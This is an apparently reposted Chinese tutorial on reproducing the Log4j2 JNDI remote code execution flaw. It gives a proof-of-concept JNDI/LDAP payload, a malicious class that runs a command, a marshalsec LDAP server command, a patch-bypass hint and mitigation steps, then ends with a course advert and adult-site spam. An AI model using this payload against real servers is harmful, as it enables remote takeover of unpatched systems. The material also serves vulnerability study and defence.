<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          手把手教你復現(xiàn)Log4j2漏洞,千萬別中招!

          共 321字,需瀏覽 1分鐘

           ·

          2021-12-18 14:34

          來源:blog.csdn.net/qq_40989258/article/

          details/121862363

          0x00 簡介

          ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發(fā)框架與Web應用中。

          0x01 漏洞概述

          該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標服務器上執(zhí)行任意代碼。

          0x02 影響范圍

          Apache Log4j 2.x <= 2.15.0-rc1

          0x03 環(huán)境搭建

          創(chuàng)建一個新的maven項目,并導入Log4j的依賴包

          <dependency>
          ????<groupId>org.apache.logging.log4jgroupId>
          ????<artifactId>log4j-coreartifactId>
          ????<version>2.14.1version>
          dependency>

          0x04 漏洞利用

          1、使用POC測試

          import?org.apache.logging.log4j.LogManager;
          import?org.apache.logging.log4j.Logger;
          class?LogTest?{
          ????public?static?final?Logger?logger?=?LogManager.getLogger();
          ????public?static?void?main(String[]?args)?{
          ????????logger.error("${jndi:ldap://localhost:8888/Exploit}");
          ????}
          }

          2、編譯一惡意類Exploit.class

          首先新建exp.java,然后編譯為class文件

          class?Exploit?{
          ????static?{
          ????????System.err.println("Pwned");
          ????????try?{
          ????????????String?cmds?=?"calc";
          ????????????Runtime.getRuntime().exec(cmds);
          ????????}?catch?(?Exception?e?)?{
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          javac exp.java

          3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務

          java?-cp?marshalsec-0.0.3-SNAPSHOT-all.jar?marshalsec.jndi.LDAPRefServer
          "http://127.0.0.1:7777/#Exploit"?8888

          4、運行poc.java,即可訪問惡意類并執(zhí)行寫在其中的"calc"命令

          結(jié)合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此異常進行了捕獲。

          https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

          0x05 修復方式

          目前,Apache官方已發(fā)布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:

          https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

          建議同時采用如下臨時措施進行漏洞防范:

          1)添加jvm啟動參數(shù)-Dlog4j2.formatMsgNoLookups=true;

          2)在應用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;

          3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

          4)部署使用第三方防火墻產(chǎn)品進行安全防護。



          最近給大家找了???Java大型分布式網(wǎng)上預約掛號系統(tǒng)全棧前后端開發(fā)實戰(zhàn)課程視頻教程

          本課程項目是一個網(wǎng)上預約掛號系統(tǒng),包含后臺管理系統(tǒng)和前臺用戶系統(tǒng),采用前后端分離開發(fā)模式。項目技術(shù)應用廣泛,涵蓋微服務、全棧、集群、分布式、高并發(fā);技術(shù)應用場景合理,并非多技術(shù)的盲目堆疊;業(yè)務場景貼近實際,按照市場需求開發(fā)。項目后端技術(shù)棧,采用主流的SpringBoot+SpringCloud微服務架構(gòu),全面使用了目前流行的NoSQL技術(shù),使用Redis緩存數(shù)據(jù),使用MongoDB實現(xiàn)高并發(fā)讀寫,整合消息中間件RabbitMQ提高訂單的并發(fā)量,同時還整合了定時任務,實現(xiàn)就醫(yī)提醒功能,綜合應用了阿里云OSS,短信服務以及微信登錄、微信支付,同時增加了微信退款功能。項目前端技術(shù)棧,采用主流前端框架Vue,使用Nuxt和vue-admin-template模板搭建頁面環(huán)境,采用Element-ui進行頁面布局,Npm進行依賴管理,axios進行異步調(diào)用,使用ECharts進行圖表顯示,實現(xiàn)全棧開發(fā)。

          資源,怎么領(lǐng)取?


          掃二維碼,加我微信,回復:掛號系統(tǒng)


          一定要備注:掛號系統(tǒng),不要急哦,工作忙完后就通過!


          瀏覽 98
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  欧美一级网 | 日逼中文字幕 | 亚洲AV无码国产综合专区 | 亚洲有码在线播放 | 欧美成人不卡免费在线视频 |